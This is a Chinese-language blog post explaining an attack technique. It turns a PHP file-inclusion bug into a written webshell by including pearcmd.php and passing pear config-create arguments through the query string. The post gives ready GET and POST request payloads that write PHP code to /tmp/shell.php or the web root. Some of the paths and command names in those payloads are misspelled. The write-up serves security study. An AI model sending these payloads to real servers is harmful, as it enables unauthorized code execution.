Pearcmd.php

来自P神的文章[[https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html]]
一.pearcmd.php
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在*DOCKER*(一个开源的应用容器引擎)任意版本镜像中,pcel/pear都会被默认安装,默认路径==`/usr/local/lib/php/pearcmd.php`==。
二.利用条件
1.肯定是要安装了pear,不然没有pearcmd.php。
2.我们要知道pearcmd.php的路径,因为实质上我们是想要先去包含pearcmd.php文件,进而实现pear命令调用,然后写入恶意文件。
3.`register_argc_argv`处于开启状态,只有这样我们才能够将所要执行的命令参数传递,后面细写。
三.利用分析
实现pear利用函数

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {//先看arrgv是否存在
        if (!@is_array($_SERVER['argv'])) {//不存在去找$_SERVER['argv']
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}


在P神的文章中提到了==`SG(request_info).query_string`==这段代码,其会将query-string中的值赋给argv,实际上是将?后的值给argv。
也就是说在WEB中argv会接受?后的值,然后执行pear命令行功能。
如果还是不能理解怎么赋值可以看这篇文章:https://www.cnblogs.com/weijia-home/p/15141681.html
PS:pear本身是一个sh程序
四.构造payload
先理一下总体思路:
首先通过包含pearcmd.php文件,然后利用$_SERVER['argv']来调用pear命令。
其中值得注意的是,构造中命令用+连接(~~其实就是空格~~)

pear命令中我们可以用config-creat创建文件,第一个参数为内容,第二个参数为写入文件路径

```
GET /index.php?file=/user/local/lib/php/pearcmd.php/&+config-creat+/&/<?=phpinfo()?>+/tmp/shell.php


POST /index.php?+config-create+/&/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1
file=/user/local/lib/php/pearcmd.php

```

最终我们将恶意代码插入到了/tmp/shell.php中,最后包含/tmp/shell.php文件即可
或者也可以写到/var/www/html/shell.php,直接访问页面就可以了。

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值